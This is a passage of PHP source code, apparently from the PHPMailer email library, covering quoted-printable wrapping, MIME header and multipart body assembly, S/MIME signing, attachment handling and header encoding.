                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
